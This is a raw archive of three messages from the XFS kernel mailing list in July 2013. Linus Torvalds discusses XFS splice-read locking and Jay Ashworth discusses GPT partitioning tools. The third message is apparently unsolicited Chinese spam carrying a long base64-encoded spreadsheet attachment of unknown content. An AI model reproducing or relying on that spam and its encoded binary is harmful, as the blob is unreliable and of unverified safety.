(version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 16 Jul 2013 14:02:14 -0700 (PDT) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.220.182 X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.182] Received: by mail-vc0-f182.google.com with SMTP id id13so825082vcb.41 for ; Tue, 16 Jul 2013 14:02:13 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.182] X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.182] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=EqkAMHTG88GeECEUbsg9e6fpF60B2M6SQGb2zpVn3M0=; b=R6jAAhbibIkVYf4X/n6beoYuZFmDtYM7kkvMeixzB/q9c2WRbIYL94w64JC/wewoJc TBvnU/5wMq3FCW1mFhUwv7bX3cQmyFczXhzJp6w2/CuTV5mt38Gg3fv6VErKKw51loYm gBYQPWrxtn95xJjMDhMlZk+41iFF3Xrqr5f5GTzZx95lXXU8TuIyNoAAdY4fktTv6k+U KuykpGB9/Ksxyj0nWlMEp0HEKE5LWzl79vM3NmQyP0SJ5YfMLqcaNEZqO/xt3frLkFJt 0/AFO6xnTKHL54dPq/fkenIomH7pVw2eyo+CjGNSzFgFeMsZPAhhW1twvs38COZseYGO ee1w== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=EqkAMHTG88GeECEUbsg9e6fpF60B2M6SQGb2zpVn3M0=; b=bFe6z/hh5URHAWttZlEqZkmQKSh3PN2Cr5znzd1PkwyXuJVbe+YJLV7Nz3sS82e8US XkumHiWoLC0wMkj2ZswuGOoc002bC1R1Xse2Q/nFJimegb80XCdQIxthNtfmTd53oIAJ ycFaALANCvlu/3qcroDMkEjdcjDDB/VHdmdOw= MIME-Version: 1.0 X-Received: by 10.52.248.166 with SMTP id yn6mr866653vdc.41.1374008533499; Tue, 16 Jul 2013 14:02:13 -0700 (PDT) Sender: linus971@gmail.com Received: by 10.220.237.15 with HTTP; Tue, 16 Jul 2013 14:02:12 -0700 (PDT) In-Reply-To: <20130716204335.GH11674@dastard> References: <20130716015305.GB30569@redhat.com> <20130716023847.GA31481@redhat.com> <20130716060351.GE11674@dastard> <20130716193332.GB3572@sgi.com> <20130716204335.GH11674@dastard> Date: Tue, 16 Jul 2013 14:02:12 -0700 X-Google-Sender-Auth: EsUysDh-p2Ez6DwSWC3L1pZHWJ0 Message-ID: Subject: Re: splice vs execve lockdep trace. From: Linus Torvalds X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. To: Dave Chinner Cc: Ben Myers , Peter Zijlstra , Oleg Nesterov , Linux Kernel , Alexander Viro , Dave Jones , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-vc0-f182.google.com[209.85.220.182] X-Barracuda-Start-Time: 1374008534 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136961 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Jul 16, 2013 at 1:43 PM, Dave Chinner wrote: > > Yes - IO is serialised based on the ip->i_iolock, not i_mutex. We > don't use i_mutex for many things IO related, and so internal > locking is needed to serialise against stuff like truncate, hole > punching, etc, that are run through non-vfs interfaces. Umm. But the page IO isn't serialized by i_mutext *either*. You don't hold it across page faults. In fact you don't even take it at all across page faults. That's kind of my point. splice is about the page IO, and it's serialized purely by the page lock. And then "->readpage()" will get whatever IO mutex in order to do that right, but think about the case where things are already in the page cache. There's no reason for any serialization what-so-ever. So this isn't about i_mutex. At all. > Read isn't the problem - it's write that's the deadlock issue... I agree, and I think your patches are needed, as I said in that email you replied to. But due to this issue, I was looking at the XFS splice support, and the read-side splice support seems inefficient and overly complex. I'm not seeing why it needs that i_iolock. And no, this really has nothing to do with i_mutex. Go look at generic_file_splice_read(). There's no i_mutex there at all. It's more like a series of magic page-faults without the actual page table actions. Which is kind of the whole point of splice - zero-copy without bothering with page table setup/teardown. Now, it's perfectly possible that XFS really needs some odd locking here, but your reply about i_mutex makes me think that you did it because you were confused about what it actually wants. *Every* other local filesystem uses generic_file_splice_read() with just a single .splice_read = generic_file_splice_read, in the file ops initializer. Sure, nfs and ocfs2 wrap things like xfs does, but they basically do it to revalidate their caches. Linus From jra@baylink.com Tue Jul 16 20:36:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 75DD67F37 for ; Tue, 16 Jul 2013 20:36:10 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5352D304039 for ; Tue, 16 Jul 2013 18:36:10 -0700 (PDT) X-ASG-Debug-ID: 1374024965-04bdf0245d936e0001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id kR9KVxf6ws3kqnV3 for ; Tue, 16 Jul 2013 18:36:05 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 26BCD1F001ED for ; Tue, 16 Jul 2013 21:36:05 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id kJoC8BWbSAGo for ; Tue, 16 Jul 2013 21:36:01 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id 0905C1F001E8 for ; Tue, 16 Jul 2013 21:36:01 -0400 (EDT) Date: Tue, 16 Jul 2013 21:36:01 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <4014064.1488.1374024960972.JavaMail.root@benjamin.baylink.com> In-Reply-To: <201307160710.13718.arekm@maven.pl> Subject: Re: XFS errors on 3TB HDD that is identified of size 2TB only MIME-Version: 1.0 X-ASG-Orig-Subj: Re: XFS errors on 3TB HDD that is identified of size 2TB only Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Originating-IP: [173.104.77.147] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1374024965 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136979 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 ----- Original Message ----- > From: "Arkadiusz Mi=C5=9Bkiewicz" > On Tuesday 16 of July 2013, Jay Ashworth wrote: >=20 > > TTBOMK, *nothing* other than parted presently knows how to create > > and modify GPT partition tables. >=20 > nwer fdisk has some gpt support > https://www.kernel.org/pub/linux/utils/util-linux/v2.23/v2.23-ReleaseNote= s And *this*, right here, is why I said it's the worst imaginable name. As that does *not* appear to be the thing I linked to, we now have two separate packages from two separate teams, unrelated to one another, which people are going to call "GPT fdisk". Thanks for the pointer, Arkadiusz; my googling didn't turn that up the=20 other night. Cheers, -- jra=20 --=20 Jay R. Ashworth Baylink jra@baylink.= com Designer The Things I Think RFC 2= 100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover = DII St Petersburg FL USA #natog +1 727 647 1= 274 From info@egyptfixer.com Tue Jul 16 22:21:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5B6B57F37 for ; Tue, 16 Jul 2013 22:21:18 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B2DE9AC005 for ; Tue, 16 Jul 2013 20:21:14 -0700 (PDT) X-ASG-Debug-ID: 1374031272-04cbb0468e10916c0001-NocioJ Received: from host49.use-trade.com (host121.use-trade.com [38.111.46.121]) by cuda.sgi.com with ESMTP id oQHFM6WJGmcu28BX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 16 Jul 2013 20:21:13 -0700 (PDT) X-Barracuda-Envelope-From: info@egyptfixer.com X-Barracuda-Apparent-Source-IP: 38.111.46.121 Received: from [219.138.238.238] (port=3209 helo=lpknsw) by host49.use-trade.com with esmtpa (Exim 4.80.1) (envelope-from ) id 1UzIIc-0004NX-GF; Tue, 16 Jul 2013 23:21:07 -0400 From: =?GB2312?B?6KTIus+v?= To: "xfs" Subject: =?GB2312?B?UWRldGiw3bfDwb/Kx8/6ytu5pNf3tcTJ+sP8z98tx9q33DkxMjQ1NzkwMjM1?= =?GB2312?B?NjgwMTM0Njc5?= Message-ID: <201307171120496710134@egyptfixer.com> X-ASG-Orig-Subj: =?GB2312?B?UWRldGiw3bfDwb/Kx8/6ytu5pNf3tcTJ+sP8z98tx9q33DkxMjQ1NzkwMjM1?= =?GB2312?B?NjgwMTM0Njc5?= Date: Wed, 17 Jul 2013 11:20:49 +0800 X-Mailer: Foxmail 6, 10, 201, 20 [cn] MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=oswa279_2756_114298135.028857" X-Priority: 3 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - host49.use-trade.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - egyptfixer.com X-Get-Message-Sender-Via: host49.use-trade.com: authenticated_id: info@egyptfixer.com X-Barracuda-Connect: host121.use-trade.com[38.111.46.121] X-Barracuda-Start-Time: 1374031272 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136987 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header This is a multi-part message in MIME format. ------=oswa279_2756_114298135.028857 Content-Type: text/plain; charset="GB2312" Content-Transfer-Encoding: base64 ------=oswa279_2756_114298135.028857 Content-Type: application/x-msexcel; name="Ybfjpt9123.xls" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Ybfjpt9123.xls" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAA EAAAAgAAAAEAAAD+////AAAAAAAAAAD///////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////9 ////JAAAAP7///8jAAAABQAAAAYAAAAHAAAACAAAAAkAAAAKAAAACwAAAAwAAAANAAAADgAAAA8A AAAQAAAAEQAAABIAAAATAAAAFAAAABUAAAAWAAAAFwAAABgAAAAZAAAAGgAAABsAAAAcAAAAHQAA AB4AAAAfAAAAIAAAACEAAAAiAAAA/v///yUAAAD+/////v////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////1IA bwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAWAAUA//////////8CAAAAIAgCAAAAAADAAAAAAAAARgAAAABUZavOYoDOAYBTPy9jgM4B AwAAAMAFAAAAAAAAVwBvAHIAawBiAG8AbwBrAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAABIAAgEFAAAA//////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAEAAAAIj0AAAAAAABFAFQARQB4AHQARABhAHQAYQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAACAQEAAAADAAAA/////wAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAQAAAAAAAAUAUwB1AG0AbQBhAHIAeQBJ AG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAIB/////wQA AAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAAKwBAAAAAAAAAQAA AAIAAAADAAAABAAAAP7///8GAAAABwAAAAgAAAAJAAAACgAAAAsAAAD+////DQAAAA4AAAAPAAAA EAAAABEAAAASAAAAEwAAABQAAAD+////FgAAAP7///////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////8JCBAA AQYAD5oC1QcAAAAACAAAAPsPzgCsDjGqGQD///8BAADA/wAAAAAAAMD/AAAAAAAAwP8AAAAAAADA /wAAAAAAAMD/AAAAAAAAwP8AAAAAAADA/wAAAAAAAMD/AAAAAAAAwP8AAAAAAADA/wAAAAAAAMD/ AAAAAAAAwP8AAAAAAADA/wAAAAAAAMD/AAAAAAAAwP8AAAAAAAAAAP///wEAAMD/AAAAAQAAAAAA AAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAAAAACAAAAAAAAAEIAAAAAAADA//cP DAAAAAkA00EAAIouAAD3DwwAAQAJANNBAACKLgAA9w8MAAIACQDTQQAAii4AAAoAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7/AAAFAQIAAAAAAAAAAAAAAAAAAAAAAAEA AADghZ/y+U9oEKuRCAArJ7PZMAAAAHwBAAASAAAAAQAAAJgAAAACAAAAoAAAAAMAAACsAAAABAAA ALgAAAAFAAAA0AAAAAYAAADcAAAABwAAAOgAAAAIAAAA9AAAAAkAAAAEAQAAEgAAABABAAAKAAAA LAEAAAsAAAA4AQAADAAAAEQBAAANAAAAUAEAAA4AAABcAQAADwAAAGQBAAAQAAAAbAEAAAkIEAAA BgUAFxnNB8nAAAAGAQAA4QACALAEwQACAAAA4gAAAFwAcAAGAABoaWhhbzkgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQgACALAEYQECAAAAwAEAAD0BAgABAJwA AgAOABkAAgAAABIAAgAAABMAAgAAAK8BAgAAALwBAgAAAD0AEgAAAAAAeDxgJzgAAAAAAAEAWAJA AAIAAACNAAIAAAAiAAIAAAAOAAIAAQC3AQIAAADaAAIAAAAxABQA8AAAAP9/kAEAAAAAhgACAYtb U08xABQA8AAQAP9/kAEAAAAAhgACAYtbU08xABQA8AAQAP9/kAEAAAAAhgACAYtbU08xABQA8AAQ AP9/kAEAAAAAhgACAYtbU08xABQAtAAAAP9/kAEAAAAAhgACAYtbU08xABQA3AAAAP9/kAEAAAAA hgACAYtbU08xABQA3AAAABQAkAEAAAAAhgACAYtbU08xAC4A3AAAAP9/kAEAAAABAAAPAVQAaQBt AGUAcwAgAE4AZQB3ACAAUgBvAG0AYQBuADEAFAAYAQAACgCQAQAAAACGAAIBi1tTTzEAFADcAAAA PACQAQAAAACGAAIBi1tTTx4EKwAFABMAASIA5f8iACMALAAjACMAMAA7ACIA5f8iAFwALQAjACwA IwAjADAAHgQ1AAYAGAABIgDl/yIAIwAsACMAIwAwADsAWwBSAGUAZABdACIA5f8iAFwALQAjACwA IwAjADAAHgQ3AAcAGQABIgDl/yIAIwAsACMAIwAwAC4AMAAwADsAIgDl/yIAXAAtACMALAAjACMA MAAuADAAMAAeBEEACAAeAAEiAOX/IgAjACwAIwAjADAALgAwADAAOwBbAFIAZQBkAF0AIgDl/yIA XAAtACMALAAjACMAMAAuADAAMAAeBGkAKgAyAAFfACAAIgDl/yIAKgAgACMALAAjACMAMABfACAA OwBfACAAIgDl/yIAKgAgAFwALQAjACwAIwAjADAAXwAgADsAXwAgACIA5f8iACoAIAAiAC0AIgBf ACAAOwBfACAAQABfACAAHgQuACkAKQAAXyAqICMsIyMwXyA7XyAqIFwtIywjIzBfIDtfICogIi0i XyA7XyBAXyAeBHkALAA6AAFfACAAIgDl/yIAKgAgACMALAAjACMAMAAuADAAMABfACAAOwBfACAA IgDl/yIAKgAgAFwALQAjACwAIwAjADAALgAwADAAXwAgADsAXwAgACIA5f8iACoAIAAiAC0AIgA/ AD8AXwAgADsAXwAgAEAAXwAgAB4ENgArADEAAF8gKiAjLCMjMC4wMF8gO18gKiBcLSMsIyMwLjAw XyA7XyAqICItIj8/XyA7XyBAXyAeBBoAFwAVAABcJCMsIyMwXyk7XChcJCMsIyMwXCkeBB8AGAAa AABcJCMsIyMwXyk7W1JlZF1cKFwkIywjIzBcKR4EIAAZABsAAFwkIywjIzAuMDBfKTtcKFwkIywj IzAuMDBcKR4EJQAaACAAAFwkIywjIzAuMDBfKTtbUmVkXVwoXCQjLCMjMC4wMFwp4AAUAAAAAAD1 /xAAAAAAAAAAAAAAAMAg4AAUAAEAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAEAAAD1/xAAAPQAAAAA AAAAAMAg4AAUAAIAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAIAAAD1/xAAAPQAAAAAAAAAAMAg4AAU AAAAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAAAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAAAAAD1/xAA APQAAAAAAAAAAMAg4AAUAAAAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAAAAAD1/xAAAPQAAAAAAAAA AMAg4AAUAAAAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAAAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAAA AAD1/xAAAPQAAAAAAAAAAMAg4AAUAAAAAAD1/xAAAPQAAAAAAAAAAMAg4AAUAAAAAAD1/xAAAPQA AAAAAAAAAMAg4AAUAAAAAAABABAAAAAAAAAAAAAAAMAg4AAUAAAACQD1/xAAAPgAAAAAAAAAAMAg 4AAUAAAALAD1/xAAAPgAAAAAAAAAAMAg4AAUAAAAKgD1/xAAAPgAAAAAAAAAAMAg4AAUAAAAKwD1 /xAAAPgAAAAAAAAAAMAg4AAUAAAAKQD1/xAAAPgAAAAAAAAAAMAg4AAUAAAAAAABABAAAEAAAAAA AAAABAkg4AAUAAYAAAABABAAAEgAAAAAAAAABAkg4AAUAAYAAAABABAAAGgAAAAAAAAABAkg4AAU AAAAAAABABAAAMAAAAAAAAAABAkg4AAUAAAAAAADABAAAMAAAAAAAAAABAkg4AAUAAcAAAABABAA AEgAAAAAAAAABAkg4AAUAAgAAAABABAAAEgAAAAAAAAABAkg4AAUAAYAAAABABEAAFgAAAAAAAAA BAkg4AAUAAkAAAABABEAAFgAAAAAAAAABAkg4AAUAAoAAAABABAAAEgAAAAAAAAABAkg4AAUAAoA AAABABAAAGgAAAAAAAAABAkgkwIEABCABf+TAgQAAIAA/5MCBAARgAT/kwIEABKAB/+TAgQAE4AD /5MCBAAUgAb/YAECAAAAhQASAFEjAAAAAAoAc3YlYl9vdTI1dIwABABWAFYArgEEAAEAAQQXAAgA AQAAAAAAAADBAQgAwQEAAGBpAQD8ABganwAAAJoAAAAqAAEBJQElASUBJQElASUBJQElASUBJQEl ASUBJQElASUBJQElASUBJQElASUBJQElASUBJQElASUBJQElASUBJQElASUBJQElASUBJQElASUB JQElASUNAAHPJflXLQCtiy0ApWItAA1ULQAtTi0Aw186AAwAAQCVLlW+fPGCMgApWQBOHFmvdcJy rYvDfhQAATIAMAAxADMAdF4wADcACGcyADAALQAtADIAMQDlZQAwCP8KTndtCf8UAAEyADAAMQAz AHReMAA3AAhnMgA3AC0ALQAyADgA5WUAMAj/8W0zVwn/FAABMgAwADEAMwB0XjAAOAAIZzAAMwAt AC0AMAA0AOVlADAI/1tPcVwJ/xQAATIAMAAxADMAdF4wADgACGcxADAALQAtADEAMQDlZQAwCP8X U6xOCf8UAAEyADAAMQAzAHReMAA4AAhnMQA3AC0ALQAxADgA5WUAMAj/f17eXQn/FAABMgAwADEA MwB0XjAAOAAIZzIANAAtAC0AMgA1AOVlADAI/wpOd20J/w8AARAwf2KeUlVTTU8RMLBlIADReSAA +VcgABOKIACyfSYAARAwZltYVPlbYYwRMDtgz34GdAEwAJUuVTtg0XYBMDpT31fPfgZ0ATAAlS5V z34GdAEwGk6hUuNOaIgBMACVLlX5V62LE05YVEl7AjAcAAHHJf6LC3rMgG9mYwB1AHIAcgBpAGMA dQBsAHUAbQAgAGIAYQBjAGsAZwByAG8AdQBuAGQAIAAgADIAASAAIAAgACAASgB1AGQAZwBlAAj/ xIv3Tgn/AE4qTrpODP8ATipObFH4Uy9mDU4vZhhPwHkM/w1OgYkLd9ZOL2YNTi9mSABhAHIAdgBh AHIAZAAI/8hUW08nWWZbCf8M/y9mDU40AAEvZlMAdABhAG4AZgBvAHIAZAAI/69lZlePeSdZZlsJ /y4ADU6BiWoAdQBkAGcAZQAI/8SL904J/8yRYpcJZxpZEVwNVExyJ1lmW9VrGk4fdQz/DICBiWoA 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 